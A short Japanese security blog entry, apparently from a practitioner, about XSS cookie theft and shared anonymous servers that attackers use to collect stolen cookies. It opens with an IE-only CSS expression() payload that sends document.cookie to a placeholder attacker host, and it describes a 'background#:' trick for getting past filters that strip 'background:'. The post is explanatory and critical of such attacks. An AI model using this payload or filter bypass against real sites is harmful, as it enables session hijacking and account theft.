cookieをお預かりします: 悪意ある共同預かり所

<html>
<body>
<style type="text/css">
h1 {
  background#:/*;*/
expression('url(http://commonevillogger.example.com/log.php'+document.cookie+')');
}
</style>
<h1>heading</h1>
</body>
</html>

上記はCookieを悪意あるサイトに飛ばす例です。IEのみ対応。
(ちなみに、expressionを使っていてもcommonevillogger.example.comには、Cookieが1回しか飛びません。個人的には意外な感じです。expressionを使ってalertしたりするとブラクラっぽくなったり、あるいは、リロードを仕込んでサーバに負荷がかかっちゃった事故とかを知っているからです。AutoF5攻撃みたいな。)
閑話休題。本題にはいります。XSS攻撃でCookieを盗み出す際には悪意ある者は適宜自前でサーバを用意し、そちらでCookieの内容を取得・保持することになります。サーバを用意する以上、そこから足がつくはずなんですね。上のサンプルで言えばhttp://commonevillogger.example.com/です。(もちろんこれは例題であげているので嘘サーバですが。) 先日、とあるセキュリティ系のblogを見ていたら、悪意ある者達が共同で使えるCookieお預かり所サーバが実在していることを知りました。匿名かつ無料で使えるっぽいです。あらかじめサーバを乗っ取れない厨房でも気軽にXSSで悪さが出来てしまう世の中になっているようです。あ〜あ。いやになりますね。まぁとりあえずそのサーバのURLなどこの日記に書くはずもありませんです。共同預かり所なんてよくもまぁ考え付くものですねぇ。げんなり。
つけたりで恐縮ですが以下余談。上記例では、backgournd#:となっています。その昔、フィルターで「background:」を取り除いている例をみかけたものでして…そちらの管理者さんには「それでは駄目で、background そのものをなんとかしましょうよ。CSSで使うエスケープとかもありますから結構大変ですよ?」とご報告したことがあります。いやあ懐かしい。